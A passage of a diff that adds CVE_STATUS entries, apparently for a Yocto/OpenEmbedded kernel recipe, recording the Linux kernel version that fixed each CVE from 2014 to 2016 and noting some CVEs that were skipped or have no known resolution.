+CVE_STATUS[CVE-2014-4655] = "fixed-version: Fixed from version 3.16rc2"
+
+CVE_STATUS[CVE-2014-4656] = "fixed-version: Fixed from version 3.16rc2"
+
+CVE_STATUS[CVE-2014-4667] = "fixed-version: Fixed from version 3.16rc1"
+
+CVE_STATUS[CVE-2014-4699] = "fixed-version: Fixed from version 3.16rc4"
+
+CVE_STATUS[CVE-2014-4943] = "fixed-version: Fixed from version 3.16rc6"
+
+CVE_STATUS[CVE-2014-5045] = "fixed-version: Fixed from version 3.16rc7"
+
+CVE_STATUS[CVE-2014-5077] = "fixed-version: Fixed from version 3.16"
+
+CVE_STATUS[CVE-2014-5206] = "fixed-version: Fixed from version 3.17rc1"
+
+CVE_STATUS[CVE-2014-5207] = "fixed-version: Fixed from version 3.17rc1"
+
+# Skipping CVE-2014-5332, no affected_versions
+
+CVE_STATUS[CVE-2014-5471] = "fixed-version: Fixed from version 3.17rc2"
+
+CVE_STATUS[CVE-2014-5472] = "fixed-version: Fixed from version 3.17rc2"
+
+CVE_STATUS[CVE-2014-6410] = "fixed-version: Fixed from version 3.17rc5"
+
+CVE_STATUS[CVE-2014-6416] = "fixed-version: Fixed from version 3.17rc5"
+
+CVE_STATUS[CVE-2014-6417] = "fixed-version: Fixed from version 3.17rc5"
+
+CVE_STATUS[CVE-2014-6418] = "fixed-version: Fixed from version 3.17rc5"
+
+CVE_STATUS[CVE-2014-7145] = "fixed-version: Fixed from version 3.17rc2"
+
+# Skipping CVE-2014-7207, no affected_versions
+
+CVE_STATUS[CVE-2014-7283] = "fixed-version: Fixed from version 3.15rc1"
+
+CVE_STATUS[CVE-2014-7284] = "fixed-version: Fixed from version 3.15rc7"
+
+CVE_STATUS[CVE-2014-7822] = "fixed-version: Fixed from version 3.16rc1"
+
+CVE_STATUS[CVE-2014-7825] = "fixed-version: Fixed from version 3.18rc3"
+
+CVE_STATUS[CVE-2014-7826] = "fixed-version: Fixed from version 3.18rc3"
+
+CVE_STATUS[CVE-2014-7841] = "fixed-version: Fixed from version 3.18rc5"
+
+CVE_STATUS[CVE-2014-7842] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2014-7843] = "fixed-version: Fixed from version 3.18rc5"
+
+CVE_STATUS[CVE-2014-7970] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2014-7975] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2014-8086] = "fixed-version: Fixed from version 3.18rc3"
+
+CVE_STATUS[CVE-2014-8133] = "fixed-version: Fixed from version 3.19rc1"
+
+CVE_STATUS[CVE-2014-8134] = "fixed-version: Fixed from version 3.19rc1"
+
+CVE_STATUS[CVE-2014-8159] = "fixed-version: Fixed from version 4.0rc7"
+
+CVE_STATUS[CVE-2014-8160] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2014-8171] = "fixed-version: Fixed from version 3.12rc1"
+
+CVE_STATUS[CVE-2014-8172] = "fixed-version: Fixed from version 3.13rc1"
+
+CVE_STATUS[CVE-2014-8173] = "fixed-version: Fixed from version 3.13rc5"
+
+# Skipping CVE-2014-8181, no affected_versions
+
+CVE_STATUS[CVE-2014-8369] = "fixed-version: Fixed from version 3.18rc2"
+
+CVE_STATUS[CVE-2014-8480] = "fixed-version: Fixed from version 3.18rc2"
+
+CVE_STATUS[CVE-2014-8481] = "fixed-version: Fixed from version 3.18rc2"
+
+CVE_STATUS[CVE-2014-8559] = "fixed-version: Fixed from version 3.19rc1"
+
+CVE_STATUS[CVE-2014-8709] = "fixed-version: Fixed from version 3.14rc3"
+
+CVE_STATUS[CVE-2014-8884] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2014-8989] = "fixed-version: Fixed from version 3.19rc1"
+
+CVE_STATUS[CVE-2014-9090] = "fixed-version: Fixed from version 3.18rc6"
+
+CVE_STATUS[CVE-2014-9322] = "fixed-version: Fixed from version 3.18rc6"
+
+CVE_STATUS[CVE-2014-9419] = "fixed-version: Fixed from version 3.19rc1"
+
+CVE_STATUS[CVE-2014-9420] = "fixed-version: Fixed from version 3.19rc1"
+
+CVE_STATUS[CVE-2014-9428] = "fixed-version: Fixed from version 3.19rc3"
+
+CVE_STATUS[CVE-2014-9529] = "fixed-version: Fixed from version 3.19rc4"
+
+CVE_STATUS[CVE-2014-9584] = "fixed-version: Fixed from version 3.19rc3"
+
+CVE_STATUS[CVE-2014-9585] = "fixed-version: Fixed from version 3.19rc4"
+
+CVE_STATUS[CVE-2014-9644] = "fixed-version: Fixed from version 3.19rc1"
+
+CVE_STATUS[CVE-2014-9683] = "fixed-version: Fixed from version 3.19rc1"
+
+CVE_STATUS[CVE-2014-9710] = "fixed-version: Fixed from version 3.19rc1"
+
+CVE_STATUS[CVE-2014-9715] = "fixed-version: Fixed from version 3.15rc1"
+
+CVE_STATUS[CVE-2014-9717] = "fixed-version: Fixed from version 4.1rc1"
+
+CVE_STATUS[CVE-2014-9728] = "fixed-version: Fixed from version 3.19rc3"
+
+CVE_STATUS[CVE-2014-9729] = "fixed-version: Fixed from version 3.19rc3"
+
+CVE_STATUS[CVE-2014-9730] = "fixed-version: Fixed from version 3.19rc3"
+
+CVE_STATUS[CVE-2014-9731] = "fixed-version: Fixed from version 3.19rc3"
+
+# Skipping CVE-2014-9777, no affected_versions
+
+# Skipping CVE-2014-9778, no affected_versions
+
+# Skipping CVE-2014-9779, no affected_versions
+
+# Skipping CVE-2014-9780, no affected_versions
+
+# Skipping CVE-2014-9781, no affected_versions
+
+# Skipping CVE-2014-9782, no affected_versions
+
+# Skipping CVE-2014-9783, no affected_versions
+
+# Skipping CVE-2014-9784, no affected_versions
+
+# Skipping CVE-2014-9785, no affected_versions
+
+# Skipping CVE-2014-9786, no affected_versions
+
+# Skipping CVE-2014-9787, no affected_versions
+
+# Skipping CVE-2014-9788, no affected_versions
+
+# Skipping CVE-2014-9789, no affected_versions
+
+CVE_STATUS[CVE-2014-9803] = "fixed-version: Fixed from version 3.16rc1"
+
+# Skipping CVE-2014-9863, no affected_versions
+
+# Skipping CVE-2014-9864, no affected_versions
+
+# Skipping CVE-2014-9865, no affected_versions
+
+# Skipping CVE-2014-9866, no affected_versions
+
+# Skipping CVE-2014-9867, no affected_versions
+
+# Skipping CVE-2014-9868, no affected_versions
+
+# Skipping CVE-2014-9869, no affected_versions
+
+CVE_STATUS[CVE-2014-9870] = "fixed-version: Fixed from version 3.11rc1"
+
+# Skipping CVE-2014-9871, no affected_versions
+
+# Skipping CVE-2014-9872, no affected_versions
+
+# Skipping CVE-2014-9873, no affected_versions
+
+# Skipping CVE-2014-9874, no affected_versions
+
+# Skipping CVE-2014-9875, no affected_versions
+
+# Skipping CVE-2014-9876, no affected_versions
+
+# Skipping CVE-2014-9877, no affected_versions
+
+# Skipping CVE-2014-9878, no affected_versions
+
+# Skipping CVE-2014-9879, no affected_versions
+
+# Skipping CVE-2014-9880, no affected_versions
+
+# Skipping CVE-2014-9881, no affected_versions
+
+# Skipping CVE-2014-9882, no affected_versions
+
+# Skipping CVE-2014-9883, no affected_versions
+
+# Skipping CVE-2014-9884, no affected_versions
+
+# Skipping CVE-2014-9885, no affected_versions
+
+# Skipping CVE-2014-9886, no affected_versions
+
+# Skipping CVE-2014-9887, no affected_versions
+
+CVE_STATUS[CVE-2014-9888] = "fixed-version: Fixed from version 3.13rc1"
+
+# Skipping CVE-2014-9889, no affected_versions
+
+# Skipping CVE-2014-9890, no affected_versions
+
+# Skipping CVE-2014-9891, no affected_versions
+
+# Skipping CVE-2014-9892, no affected_versions
+
+# Skipping CVE-2014-9893, no affected_versions
+
+# Skipping CVE-2014-9894, no affected_versions
+
+CVE_STATUS[CVE-2014-9895] = "fixed-version: Fixed from version 3.11rc1"
+
+# Skipping CVE-2014-9896, no affected_versions
+
+# Skipping CVE-2014-9897, no affected_versions
+
+# Skipping CVE-2014-9898, no affected_versions
+
+# Skipping CVE-2014-9899, no affected_versions
+
+# Skipping CVE-2014-9900, no affected_versions
+
+CVE_STATUS[CVE-2014-9903] = "fixed-version: Fixed from version 3.14rc4"
+
+CVE_STATUS[CVE-2014-9904] = "fixed-version: Fixed from version 3.17rc1"
+
+CVE_STATUS[CVE-2014-9914] = "fixed-version: Fixed from version 3.16rc1"
+
+CVE_STATUS[CVE-2014-9922] = "fixed-version: Fixed from version 3.18rc2"
+
+CVE_STATUS[CVE-2014-9940] = "fixed-version: Fixed from version 3.19rc1"
+
+CVE_STATUS[CVE-2015-0239] = "fixed-version: Fixed from version 3.19rc6"
+
+CVE_STATUS[CVE-2015-0274] = "fixed-version: Fixed from version 3.15rc5"
+
+CVE_STATUS[CVE-2015-0275] = "fixed-version: Fixed from version 4.1rc1"
+
+# Skipping CVE-2015-0777, no affected_versions
+
+# Skipping CVE-2015-1328, no affected_versions
+
+CVE_STATUS[CVE-2015-1333] = "fixed-version: Fixed from version 4.2rc5"
+
+CVE_STATUS[CVE-2015-1339] = "fixed-version: Fixed from version 4.4rc5"
+
+CVE_STATUS[CVE-2015-1350] = "fixed-version: Fixed from version 4.9rc1"
+
+CVE_STATUS[CVE-2015-1420] = "fixed-version: Fixed from version 4.1rc7"
+
+CVE_STATUS[CVE-2015-1421] = "fixed-version: Fixed from version 3.19rc7"
+
+CVE_STATUS[CVE-2015-1465] = "fixed-version: Fixed from version 3.19rc7"
+
+CVE_STATUS[CVE-2015-1573] = "fixed-version: Fixed from version 3.19rc5"
+
+CVE_STATUS[CVE-2015-1593] = "fixed-version: Fixed from version 4.0rc1"
+
+CVE_STATUS[CVE-2015-1805] = "fixed-version: Fixed from version 3.16rc1"
+
+CVE_STATUS[CVE-2015-2041] = "fixed-version: Fixed from version 3.19rc7"
+
+CVE_STATUS[CVE-2015-2042] = "fixed-version: Fixed from version 3.19"
+
+CVE_STATUS[CVE-2015-2150] = "fixed-version: Fixed from version 4.0rc4"
+
+CVE_STATUS[CVE-2015-2666] = "fixed-version: Fixed from version 4.0rc1"
+
+CVE_STATUS[CVE-2015-2672] = "fixed-version: Fixed from version 4.0rc3"
+
+CVE_STATUS[CVE-2015-2686] = "fixed-version: Fixed from version 4.0rc6"
+
+CVE_STATUS[CVE-2015-2830] = "fixed-version: Fixed from version 4.0rc3"
+
+# CVE-2015-2877 has no known resolution
+
+CVE_STATUS[CVE-2015-2922] = "fixed-version: Fixed from version 4.0rc7"
+
+CVE_STATUS[CVE-2015-2925] = "fixed-version: Fixed from version 4.3rc1"
+
+CVE_STATUS[CVE-2015-3212] = "fixed-version: Fixed from version 4.2rc1"
+
+CVE_STATUS[CVE-2015-3214] = "fixed-version: Fixed from version 2.6.33rc8"
+
+CVE_STATUS[CVE-2015-3288] = "fixed-version: Fixed from version 4.2rc2"
+
+CVE_STATUS[CVE-2015-3290] = "fixed-version: Fixed from version 4.2rc3"
+
+CVE_STATUS[CVE-2015-3291] = "fixed-version: Fixed from version 4.2rc3"
+
+CVE_STATUS[CVE-2015-3331] = "fixed-version: Fixed from version 4.0rc5"
+
+# Skipping CVE-2015-3332, no affected_versions
+
+CVE_STATUS[CVE-2015-3339] = "fixed-version: Fixed from version 4.1rc1"
+
+CVE_STATUS[CVE-2015-3636] = "fixed-version: Fixed from version 4.1rc2"
+
+CVE_STATUS[CVE-2015-4001] = "fixed-version: Fixed from version 4.1rc7"
+
+CVE_STATUS[CVE-2015-4002] = "fixed-version: Fixed from version 4.1rc7"
+
+CVE_STATUS[CVE-2015-4003] = "fixed-version: Fixed from version 4.1rc7"
+
+CVE_STATUS[CVE-2015-4004] = "fixed-version: Fixed from version 4.3rc1"
+
+CVE_STATUS[CVE-2015-4036] = "fixed-version: Fixed from version 4.0rc1"
+
+CVE_STATUS[CVE-2015-4167] = "fixed-version: Fixed from version 4.0rc1"
+
+CVE_STATUS[CVE-2015-4170] = "fixed-version: Fixed from version 3.13rc5"
+
+CVE_STATUS[CVE-2015-4176] = "fixed-version: Fixed from version 4.1rc1"
+
+CVE_STATUS[CVE-2015-4177] = "fixed-version: Fixed from version 4.1rc1"
+
+CVE_STATUS[CVE-2015-4178] = "fixed-version: Fixed from version 4.1rc1"
+
+CVE_STATUS[CVE-2015-4692] = "fixed-version: Fixed from version 4.2rc1"
+
+CVE_STATUS[CVE-2015-4700] = "fixed-version: Fixed from version 4.1rc6"
+
+CVE_STATUS[CVE-2015-5156] = "fixed-version: Fixed from version 4.2rc7"
+
+CVE_STATUS[CVE-2015-5157] = "fixed-version: Fixed from version 4.2rc3"
+
+CVE_STATUS[CVE-2015-5257] = "fixed-version: Fixed from version 4.3rc3"
+
+CVE_STATUS[CVE-2015-5283] = "fixed-version: Fixed from version 4.3rc3"
+
+CVE_STATUS[CVE-2015-5307] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2015-5327] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2015-5364] = "fixed-version: Fixed from version 4.1rc7"
+
+CVE_STATUS[CVE-2015-5366] = "fixed-version: Fixed from version 4.1rc7"
+
+CVE_STATUS[CVE-2015-5697] = "fixed-version: Fixed from version 4.2rc6"
+
+CVE_STATUS[CVE-2015-5706] = "fixed-version: Fixed from version 4.1rc3"
+
+CVE_STATUS[CVE-2015-5707] = "fixed-version: Fixed from version 4.1rc1"
+
+CVE_STATUS[CVE-2015-6252] = "fixed-version: Fixed from version 4.2rc5"
+
+CVE_STATUS[CVE-2015-6526] = "fixed-version: Fixed from version 4.1rc1"
+
+# CVE-2015-6619 has no known resolution
+
+# CVE-2015-6646 has no known resolution
+
+CVE_STATUS[CVE-2015-6937] = "fixed-version: Fixed from version 4.3rc1"
+
+# Skipping CVE-2015-7312, no affected_versions
+
+CVE_STATUS[CVE-2015-7509] = "fixed-version: Fixed from version 3.7rc1"
+
+CVE_STATUS[CVE-2015-7513] = "fixed-version: Fixed from version 4.4rc7"
+
+CVE_STATUS[CVE-2015-7515] = "fixed-version: Fixed from version 4.4rc6"
+
+CVE_STATUS[CVE-2015-7550] = "fixed-version: Fixed from version 4.4rc8"
+
+# Skipping CVE-2015-7553, no affected_versions
+
+CVE_STATUS[CVE-2015-7566] = "fixed-version: Fixed from version 4.5rc2"
+
+CVE_STATUS[CVE-2015-7613] = "fixed-version: Fixed from version 4.3rc4"
+
+CVE_STATUS[CVE-2015-7799] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2015-7833] = "fixed-version: Fixed from version 4.6rc6"
+
+# Skipping CVE-2015-7837, no affected_versions
+
+CVE_STATUS[CVE-2015-7872] = "fixed-version: Fixed from version 4.3rc7"
+
+CVE_STATUS[CVE-2015-7884] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2015-7885] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2015-7990] = "fixed-version: Fixed from version 4.4rc4"
+
+# Skipping CVE-2015-8019, no affected_versions
+
+CVE_STATUS[CVE-2015-8104] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2015-8215] = "fixed-version: Fixed from version 4.0rc3"
+
+CVE_STATUS[CVE-2015-8324] = "fixed-version: Fixed from version 2.6.34rc1"
+
+CVE_STATUS[CVE-2015-8374] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2015-8539] = "fixed-version: Fixed from version 4.4rc3"
+
+CVE_STATUS[CVE-2015-8543] = "fixed-version: Fixed from version 4.4rc6"
+
+CVE_STATUS[CVE-2015-8550] = "fixed-version: Fixed from version 4.4rc6"
+
+CVE_STATUS[CVE-2015-8551] = "fixed-version: Fixed from version 4.4rc6"
+
+CVE_STATUS[CVE-2015-8552] = "fixed-version: Fixed from version 4.4rc6"
+
+CVE_STATUS[CVE-2015-8553] = "fixed-version: Fixed from version 4.4rc6"
+
+CVE_STATUS[CVE-2015-8569] = "fixed-version: Fixed from version 4.4rc6"
+
+CVE_STATUS[CVE-2015-8575] = "fixed-version: Fixed from version 4.4rc6"
+
+CVE_STATUS[CVE-2015-8660] = "fixed-version: Fixed from version 4.4rc4"
+
+CVE_STATUS[CVE-2015-8709] = "fixed-version: Fixed from version 4.10rc1"
+
+CVE_STATUS[CVE-2015-8746] = "fixed-version: Fixed from version 4.3rc1"
+
+CVE_STATUS[CVE-2015-8767] = "fixed-version: Fixed from version 4.3rc4"
+
+CVE_STATUS[CVE-2015-8785] = "fixed-version: Fixed from version 4.4rc5"
+
+CVE_STATUS[CVE-2015-8787] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2015-8812] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2015-8816] = "fixed-version: Fixed from version 4.4rc6"
+
+CVE_STATUS[CVE-2015-8830] = "fixed-version: Fixed from version 4.1rc1"
+
+CVE_STATUS[CVE-2015-8839] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2015-8844] = "fixed-version: Fixed from version 4.4rc3"
+
+CVE_STATUS[CVE-2015-8845] = "fixed-version: Fixed from version 4.4rc3"
+
+# Skipping CVE-2015-8937, no affected_versions
+
+# Skipping CVE-2015-8938, no affected_versions
+
+# Skipping CVE-2015-8939, no affected_versions
+
+# Skipping CVE-2015-8940, no affected_versions
+
+# Skipping CVE-2015-8941, no affected_versions
+
+# Skipping CVE-2015-8942, no affected_versions
+
+# Skipping CVE-2015-8943, no affected_versions
+
+# Skipping CVE-2015-8944, no affected_versions
+
+CVE_STATUS[CVE-2015-8950] = "fixed-version: Fixed from version 4.1rc2"
+
+CVE_STATUS[CVE-2015-8952] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2015-8953] = "fixed-version: Fixed from version 4.3"
+
+CVE_STATUS[CVE-2015-8955] = "fixed-version: Fixed from version 4.1rc1"
+
+CVE_STATUS[CVE-2015-8956] = "fixed-version: Fixed from version 4.2rc1"
+
+CVE_STATUS[CVE-2015-8961] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2015-8962] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2015-8963] = "fixed-version: Fixed from version 4.4"
+
+CVE_STATUS[CVE-2015-8964] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2015-8966] = "fixed-version: Fixed from version 4.4rc8"
+
+CVE_STATUS[CVE-2015-8967] = "fixed-version: Fixed from version 4.0rc1"
+
+CVE_STATUS[CVE-2015-8970] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2015-9004] = "fixed-version: Fixed from version 3.19rc7"
+
+CVE_STATUS[CVE-2015-9016] = "fixed-version: Fixed from version 4.3rc1"
+
+CVE_STATUS[CVE-2015-9289] = "fixed-version: Fixed from version 4.2rc1"
+
+CVE_STATUS[CVE-2016-0617] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-0723] = "fixed-version: Fixed from version 4.5rc2"
+
+CVE_STATUS[CVE-2016-0728] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-0758] = "fixed-version: Fixed from version 4.6"
+
+# Skipping CVE-2016-0774, no affected_versions
+
+CVE_STATUS[CVE-2016-0821] = "fixed-version: Fixed from version 4.3rc1"
+
+CVE_STATUS[CVE-2016-0823] = "fixed-version: Fixed from version 4.0rc5"
+
+CVE_STATUS[CVE-2016-10044] = "fixed-version: Fixed from version 4.8rc7"
+
+CVE_STATUS[CVE-2016-10088] = "fixed-version: Fixed from version 4.10rc1"
+
+CVE_STATUS[CVE-2016-10147] = "fixed-version: Fixed from version 4.9"
+
+CVE_STATUS[CVE-2016-10150] = "fixed-version: Fixed from version 4.9rc8"
+
+CVE_STATUS[CVE-2016-10153] = "fixed-version: Fixed from version 4.10rc1"
+
+CVE_STATUS[CVE-2016-10154] = "fixed-version: Fixed from version 4.10rc1"
+
+CVE_STATUS[CVE-2016-10200] = "fixed-version: Fixed from version 4.9rc7"
+
+CVE_STATUS[CVE-2016-10208] = "fixed-version: Fixed from version 4.10rc1"
+
+CVE_STATUS[CVE-2016-10229] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-10318] = "fixed-version: Fixed from version 4.8rc6"
+
+CVE_STATUS[CVE-2016-10723] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2016-10741] = "fixed-version: Fixed from version 4.10rc1"
+
+CVE_STATUS[CVE-2016-10764] = "fixed-version: Fixed from version 4.10rc1"
+
+CVE_STATUS[CVE-2016-10905] = "fixed-version: Fixed from version 4.8rc1"
+
+CVE_STATUS[CVE-2016-10906] = "fixed-version: Fixed from version 4.5rc6"
+
+CVE_STATUS[CVE-2016-10907] = "fixed-version: Fixed from version 4.9rc1"
+
+CVE_STATUS[CVE-2016-1237] = "fixed-version: Fixed from version 4.7rc5"
+
+CVE_STATUS[CVE-2016-1575] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-1576] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-1583] = "fixed-version: Fixed from version 4.7rc3"
+
+CVE_STATUS[CVE-2016-2053] = "fixed-version: Fixed from version 4.3rc1"
+
+CVE_STATUS[CVE-2016-2069] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-2070] = "fixed-version: Fixed from version 4.4"
+
+CVE_STATUS[CVE-2016-2085] = "fixed-version: Fixed from version 4.5rc4"
+
+CVE_STATUS[CVE-2016-2117] = "fixed-version: Fixed from version 4.6rc5"
+
+CVE_STATUS[CVE-2016-2143] = "fixed-version: Fixed from version 4.5"
+
+CVE_STATUS[CVE-2016-2184] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-2185] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-2186] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-2187] = "fixed-version: Fixed from version 4.6rc5"
+
+CVE_STATUS[CVE-2016-2188] = "fixed-version: Fixed from version 4.11rc2"
+
+CVE_STATUS[CVE-2016-2383] = "fixed-version: Fixed from version 4.5rc4"
+
+CVE_STATUS[CVE-2016-2384] = "fixed-version: Fixed from version 4.5rc4"
+
+CVE_STATUS[CVE-2016-2543] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-2544] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-2545] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-2546] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-2547] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-2548] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-2549] = "fixed-version: Fixed from version 4.5rc1"
+
+CVE_STATUS[CVE-2016-2550] = "fixed-version: Fixed from version 4.5rc4"
+
+CVE_STATUS[CVE-2016-2782] = "fixed-version: Fixed from version 4.5rc2"
+
+CVE_STATUS[CVE-2016-2847] = "fixed-version: Fixed from version 4.5rc1"
+
+# Skipping CVE-2016-2853, no affected_versions
+
+# Skipping CVE-2016-2854, no affected_versions
+
+CVE_STATUS[CVE-2016-3044] = "fixed-version: Fixed from version 4.5"
+
+CVE_STATUS[CVE-2016-3070] = "fixed-version: Fixed from version 4.4rc1"
+
+CVE_STATUS[CVE-2016-3134] = "fixed-version: Fixed from version 4.6rc2"
+
+CVE_STATUS[CVE-2016-3135] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-3136] = "fixed-version: Fixed from version 4.6rc3"
+
+CVE_STATUS[CVE-2016-3137] = "fixed-version: Fixed from version 4.6rc3"
+
+CVE_STATUS[CVE-2016-3138] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-3139] = "fixed-version: Fixed from version 3.17rc1"
+
+CVE_STATUS[CVE-2016-3140] = "fixed-version: Fixed from version 4.6rc3"
+
+CVE_STATUS[CVE-2016-3156] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-3157] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-3672] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-3689] = "fixed-version: Fixed from version 4.6rc1"
+
+# Skipping CVE-2016-3695, no affected_versions
+
+# Skipping CVE-2016-3699, no affected_versions
+
+# Skipping CVE-2016-3707, no affected_versions
+
+CVE_STATUS[CVE-2016-3713] = "fixed-version: Fixed from version 4.7rc1"
+
+# CVE-2016-3775 has no known resolution
+
+# CVE-2016-3802 has no known resolution
+
+# CVE-2016-3803 has no known resolution
+
+CVE_STATUS[CVE-2016-3841] = "fixed-version: Fixed from version 4.4rc4"
+
+CVE_STATUS[CVE-2016-3857] = "fixed-version: Fixed from version 4.8rc2"
+
+CVE_STATUS[CVE-2016-3951] = "fixed-version: Fixed from version 4.5"
+
+CVE_STATUS[CVE-2016-3955] = "fixed-version: Fixed from version 4.6rc3"
+
+CVE_STATUS[CVE-2016-3961] = "fixed-version: Fixed from version 4.6rc5"
+
+CVE_STATUS[CVE-2016-4440] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-4470] = "fixed-version: Fixed from version 4.7rc4"
+
+CVE_STATUS[CVE-2016-4482] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-4485] = "fixed-version: Fixed from version 4.6"
+
+CVE_STATUS[CVE-2016-4486] = "fixed-version: Fixed from version 4.6"
+
+CVE_STATUS[CVE-2016-4557] = "fixed-version: Fixed from version 4.6rc6"
+
+CVE_STATUS[CVE-2016-4558] = "fixed-version: Fixed from version 4.6rc7"
+
+CVE_STATUS[CVE-2016-4565] = "fixed-version: Fixed from version 4.6rc6"
+
+CVE_STATUS[CVE-2016-4568] = "fixed-version: Fixed from version 4.6rc6"
+
+CVE_STATUS[CVE-2016-4569] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-4578] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-4580] = "fixed-version: Fixed from version 4.6"
+
+CVE_STATUS[CVE-2016-4581] = "fixed-version: Fixed from version 4.6rc7"
+
+CVE_STATUS[CVE-2016-4794] = "fixed-version: Fixed from version 4.7rc4"
+
+CVE_STATUS[CVE-2016-4805] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-4913] = "fixed-version: Fixed from version 4.6"
+
+CVE_STATUS[CVE-2016-4951] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-4997] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-4998] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-5195] = "fixed-version: Fixed from version 4.9rc2"
+
+CVE_STATUS[CVE-2016-5243] = "fixed-version: Fixed from version 4.7rc3"
+
+CVE_STATUS[CVE-2016-5244] = "fixed-version: Fixed from version 4.7rc3"
+
+# Skipping CVE-2016-5340, no affected_versions
+
+# Skipping CVE-2016-5342, no affected_versions
+
+# Skipping CVE-2016-5343, no affected_versions
+
+# Skipping CVE-2016-5344, no affected_versions
+
+CVE_STATUS[CVE-2016-5400] = "fixed-version: Fixed from version 4.7"
+
+CVE_STATUS[CVE-2016-5412] = "fixed-version: Fixed from version 4.8rc1"
+
+CVE_STATUS[CVE-2016-5696] = "fixed-version: Fixed from version 4.7"
+
+CVE_STATUS[CVE-2016-5728] = "fixed-version: Fixed from version 4.7rc1"
+
+CVE_STATUS[CVE-2016-5828] = "fixed-version: Fixed from version 4.7rc6"
+
+CVE_STATUS[CVE-2016-5829] = "fixed-version: Fixed from version 4.7rc5"
+
+# CVE-2016-5870 has no known resolution
+
+CVE_STATUS[CVE-2016-6130] = "fixed-version: Fixed from version 4.6rc6"
+
+CVE_STATUS[CVE-2016-6136] = "fixed-version: Fixed from version 4.8rc1"
+
+CVE_STATUS[CVE-2016-6156] = "fixed-version: Fixed from version 4.7rc7"
+
+CVE_STATUS[CVE-2016-6162] = "fixed-version: Fixed from version 4.7"
+
+CVE_STATUS[CVE-2016-6187] = "fixed-version: Fixed from version 4.7rc7"
+
+CVE_STATUS[CVE-2016-6197] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-6198] = "fixed-version: Fixed from version 4.6"
+
+CVE_STATUS[CVE-2016-6213] = "fixed-version: Fixed from version 4.9rc1"
+
+CVE_STATUS[CVE-2016-6327] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2016-6480] = "fixed-version: Fixed from version 4.8rc3"
+
+CVE_STATUS[CVE-2016-6516] = "fixed-version: Fixed from version 4.8rc1"
+
+# Skipping CVE-2016-6753, no affected_versions
+
+CVE_STATUS[CVE-2016-6786] = "fixed-version: Fixed from version 4.0rc1"
+
+CVE_STATUS[CVE-2016-6787] = "fixed-version: Fixed from version 4.0rc1"
+
+CVE_STATUS[CVE-2016-6828] = "fixed-version: Fixed from version 4.8rc5"
+
+CVE_STATUS[CVE-2016-7039] = "fixed-version: Fixed from version 4.9rc4"
+
+CVE_STATUS[CVE-2016-7042] = "fixed-version: Fixed from version 4.9rc3"
+
+CVE_STATUS[CVE-2016-7097] = "fixed-version: Fixed from version 4.9rc1"
+
+CVE_STATUS[CVE-2016-7117] = "fixed-version: Fixed from version 4.6rc1"
+
+# Skipping CVE-2016-7118, no affected_versions
+
